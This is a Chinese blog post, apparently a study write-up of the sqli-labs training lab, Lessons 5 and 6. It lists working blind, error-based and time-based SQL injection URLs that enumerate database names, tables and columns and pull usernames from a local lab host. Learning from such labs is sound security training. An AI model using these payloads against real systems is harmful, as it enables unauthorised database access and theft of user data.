Sqli-labs Less05-06 报错型sql盲注 - GET

最新推荐文章于 2022-04-12 22:33:17 发布
最新推荐文章于 2022-04-12 22:33:17 发布
阅读量493 收藏 1
点赞数
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Kevinhanser/article/details/81519266
版权

本文记录 SQL 注入的学习过程，资料为 SQLi-labs

Sqli-labs 博客目录

报错型 sql 盲注

Less - 5: Double Injection - Single Quotes - String

  1. 利用 left(database(),1) 进行尝试

    在 URL 后面添加 ?id=1’and left(version(),1)=5–+

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(version(),1)=5--+

    查看一下version()，数据库的版本号为5.6.17，这里的语句的意思是看版本号的第一位是不是5，明显的返回的结果是正确的。

    当版本号不正确的时候，则不能正确显示you are in……

    接下来看一下数据库的长度

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and length(database())=8--+

    长度为8 时，返回正确结果，说明长度为8.

    猜测数据库第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(database(),1)>'a'--+

    Database()为security，所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下，可以用二分法来提高注入的效率。

    猜测数据库第二位

    得知第一位为s，我们看前两位是否大于sa

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(database(),2)>'sa'--+

    得出结果 > sd ，但是在 > se 的时候出现错误，说明前两位是 se

    猜测数据库第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and left(database(),3)>'seb'--+

    得出结果 > seb ，但是在 > sec 的时候出现错误，说明前三位是 sec

  2. 利用 substr() ascii() 函数进行尝试

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

    根据以上得知数据库名为security，那我们利用此方式获取 security 数据库下的表。

    猜测表的第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

    使用substr(*,1,1)，第一位的一个字符长度

    Ps：此处table_schema 可以写成=’security’，但是我们这里使用的database()，是因为此处database()就是security。此处同样的使用二分法进行测试，直到测试正确为止。此处应该是101，因为第一个表示email。

    以上在 > 100 的时候正常显示，但是在 > 101 的时候显示出错，说明这一位是 ASCII 101 对应的字母 e

    猜测表的第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+

    使用substr(*,2,1)，第二位的一个字符长度

    以上在 > 108 的时候正常显示，但是在 > 109 的时候显示出错，说明这一位是 ASCII 109 对应的字母 m

    那如何获取第二个表呢？

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始，获取第一个。那要获取第二个是不是就是limit 1,1

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

    第二个表示referers 表，第一位就是 r

    以上在 > 113 的时候正常显示，但是在 > 114 的时候显示出错，说明这一位是 ASCII 114 对应的字母 r

  3. 利用 regexp 获取（2）中 users 表中的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+

    上述语句时选择 users 表中的列名是否有 us** 的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

    上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的。

  4. 利用 ord（）和 mid（）函数获取 users 表的内容

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

    获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii，与 68 进行比较，即为 D 。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。

    总结：以上（1）（2）（3）（4）我们通过使用不同的语句，将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对sql 布尔盲注语句熟悉和理解了。

  5. 使用报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

    利用 double 数值类型超出范围进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

    利用 bigint 溢出进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

    利用 xpath 函数报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

http://10.10.10.137/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

    利用数据的重复性

    http://10.10.10.137/sqli-labs/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

  6. 延时注入

    利用 sleep() 函数进行注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    当错误的时候会有5 秒的时间延时。
    利用BENCHMARK()进行延时注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115)*--*/,BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

    当结果正确的时候，运行ENCODE(‘MSG’,’by 5 seconds’)操作50000000 次，会占用一段时间。

    至此，我们已经将上述讲到的盲注的利用方法全部在 less5 中演示了一次。在后续的关卡中，将会挑一种进行演示，其他的盲注方法请参考 less5 。

Less - 6: GET - Double Injection - Double Quote - String

  1. 利用 left(database(),1) 进行尝试

    在 URL 后面添加 ?id=1”and left(version(),1)=5–+

    http://10.10.10.137/sqli-labs/Less-6/?id=1"and left(version(),1)=5--+

    查看一下version()，数据库的版本号为5.6.17，这里的语句的意思是看版本号的第一位是不是5，明显的返回的结果是正确的。

    当版本号不正确的时候，则不能正确显示you are in……

    接下来看一下数据库的长度

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and length(database())=8--+

    长度为8 时，返回正确结果，说明长度为8.

    猜测数据库第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and left(database(),1)>'a'--+

    Database()为security，所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下，可以用二分法来提高注入的效率。

    猜测数据库第二位

    得知第一位为s，我们看前两位是否大于sa

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and left(database(),2)>'sa'--+

    得出结果 > sd ，但是在 > se 的时候出现错误，说明前两位是 se

    猜测数据库第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and left(database(),3)>'seb'--+

    得出结果 > seb ，但是在 > sec 的时候出现错误，说明前三位是 sec

  2. 利用 substr() ascii() 函数进行尝试

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

    根据以上得知数据库名为security，那我们利用此方式获取 security 数据库下的表。

    猜测表的第一位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--

    使用substr(*,1,1)，第一位的一个字符长度

    Ps：此处table_schema 可以写成=’security’，但是我们这里使用的database()，是因为此处database()就是security。此处同样的使用二分法进行测试，直到测试正确为止。此处应该是101，因为第一个表示email。

    以上在 > 100 的时候正常显示，但是在 > 101 的时候显示出错，说明这一位是 ASCII 101 对应的字母 e

    猜测表的第二位

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+

    使用substr(*,2,1)，第二位的一个字符长度

    以上在 > 108 的时候正常显示，但是在 > 109 的时候显示出错，说明这一位是 ASCII 109 对应的字母 m

    那如何获取第二个表呢？

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始，获取第一个。那要获取第二个是不是就是limit 1,1

    http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

    第二个表示referers 表，第一位就是 r

    以上在 > 113 的时候正常显示，但是在 > 114 的时候显示出错，说明这一位是 ASCII 114 对应的字母 r

  3. 利用 regexp 获取（2）中 users 表中的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+

    上述语句时选择 users 表中的列名是否有 us** 的列

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

    上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的。

  4. 利用 ord（）和 mid（）函数获取 users 表的内容

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

    获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii，与 68 进行比较，即为 D 。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。

    总结：以上（1）（2）（3）（4）我们通过使用不同的语句，将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对sql 布尔盲注语句熟悉和理解了。

  5. 使用报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

    利用double 数值类型超出范围进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

    利用bigint 溢出进行报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union select (!(select * from (select user())x) - ~0),2,3--+

    xpath 函数报错注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

http://10.10.10.137/sqli-labs/Less-5/?id=1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

    利用数据的重复性

    http://10.10.10.137/sqli-labs/Less-5/?id=1" union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

  6. 延时注入

    利用 sleep() 函数进行注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    当错误的时候会有5 秒的时间延时。
    利用BENCHMARK()进行延时注入

    http://10.10.10.137/sqli-labs/Less-5/?id=1" UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

    当结果正确的时候，运行ENCODE(‘MSG’,’by 5 seconds’)操作50000000 次，会占用一段时间。

    less5 的所有方法均适用于less6.只需要将’ 变为” 这里就不赘述了。参考 less5, 独立完成实验吧

网络安全打工人
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
基于Sqli-Labs靶场的报错注入合集（以第五关为例子）
Joker
11-26 705
本文整合了12种报错注入，想了解报错注入的可以阅读一下。
Sqli-labs less 5
weixin_34403693的博客
08-11 546
Less-5 这里说一下，有很多的blog是翻译或者copy的，这关正确的思路是盲注。从源代码中可以看到，运行返回结果正确的时候只返回you are in....，不会返回数据库当中的信息了，所以我们不能利用上述less1-4的方法 我们从这这一关开始学习盲注。结合background-2的信息，将上述能使用的payload展示一下使用方法。 利用left(database(),...
sqli注入--利用information_schema配合双查询报错注入
weixin_30779691的博客
01-18 297
目录 sqli-labs 5、6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列中获取用户名 0x07 获取对应的...
Sqli-labs--less-5
沐目的博客
04-08 4424
sqli-labs-master/Less-5/ 字符型，报错注入 首先 ？id=1’ 报错。让后用双引号，回显正常。再使用单引号+%23，回显正常，基本可以确定是单引号字符型。但是发现使用平常的 union select ，没有任何反应。 所以这道题需要一个新的知识点，刚学sql注入的同学，可能会有一点崩溃。有两种方法，叫做报错注入，其实有三种，但是我只会两种。 一、 报错注入了解一下：（报错...
Sqli-labs之Less-8
→_→
03-30 1662
Less-8 GET-盲注-基于布尔值-单引号 根据题目提示可知这是单引号注入且需要通过盲注进行通关，那么首先利用单引号看一下网页的回显： 测试是否是注入点 发现什么也没有，也就是说网页不会返回任何报错信息，也不会返回其他信息即没有任何回显信息， Less1、5、7、8回显对比 ...
sqli-labs配置数据库sqli-labs的数据库文件
03-09
Unable to connect to the database: security sqli-labs通过docker安装时，缺少数据库文件，可以通过这个sql文件直接安装
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
windows server 2012 环境下，安装sqli-labs的详细教程，适合新手小白，大神可以参考一下，有不足的地方请联系我。
jeakinscheung-sqli-labs-php7-master.zip
03-16
sqli创建数据库连接发现连接不了，这种原因是现在大部分人用的php7，原版的sqli只支持php5.
SQLi LABS Less-5 报错注入+布尔盲注
热门推荐
wangyuxiang946的博客
06-26 1万+
sqlilabs 第五关，sqli-labes less-5，sqlilabs less5
sqli-labs Less-9 时间盲注
m0_63711447的博客
04-12 963
使用的函数补充： if(condition,A,B)如果条件condition为true，则执行语句A,否则执行语句B eg.select if(1>2,3,4); 返回的结果为4（若是在MySQL命令行中使用，应先use xxx数据库） 可组合使用，当前数据库为security ...
sqli-labs ---- Less-5 & Less-6
Nixawk
05-31 2927
在过去的日子里，我们利用https://github.com/Audi-1/sqli-labs，讨论了SQL注入的不同类型。最新发布的内容见地址。 现在，我们将回顾之前的SQL注入内容，并讨论基于错误显示的二阶查询注入，有时候又称子查询注入。有些人喜欢称其为盲注，但是我喜欢称其为显错注入，因为接下来我们会通过错误来获取信息。接下来的内容会如第一部分那样，继续采用分类方案，接下来的内容会以
sqli-labs Lesson-5（基于错误信息的盲注）详细解析教程
Brad_的博客
10-17 789
OneNote粘贴为图片，还是自己动手试一下比较好。
SQL注入学习——时间盲注详解 sqli-labs(Less 9)
未完成的歌~的博客
09-01 3936
Less-9 基于时间的双引号盲注
sqli labs 9 时间盲注
Xiaoxiaoqiang_的博客
03-01 251
小学僧
sqli-labs Less-5 （报错注入）
A9874564的博客
02-25 4175
在实际场景中，如果没有一个合适的数据返回点，而是仅仅带入Sql数据进行查询，就需要报错注入。 1.less 5 正常情况，我们构造闭合，发现没有问题 利用前几关的思路，发现无论怎么操作都是You are in......，这个时候一般的思路就行不通。 发现：仅带入Sql数据进行查询，没有一个合适的数据返回点，这时候可以尝试报错注入。 2.报错注入 2.1 extractvalue报错 示例： and extractvalue(null,concat(0x7e,(sql_inje.
sqli-labs系列——第五关（二次查询注入）
1匹黑马
04-26 6886
文章目录判断注入什么是二次查询注入rand()函数floor()函数concat()函数group by语句count()函数开始注入exp 判断注入 一开始我以为这是一个常规的sql盲注，操作之后发现事情并没有那么简单，为了方便学习，我直接把sql语句输出出来了： 然后就去看题目名称，Double Injection（双查询注入），就明白怎么回事了。 什么是二次查询注入 双查询注入其实就是一个...
sqli-labs less
最新发布
07-28
抱歉，我无法回答关于sqli-labs less的问题。 #### 引用[.reference_title] - *1* *2* *3* [sqli-labs教程——Less 1-10](https://blog.csdn.net/qq_25649867/article/details/111020393)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值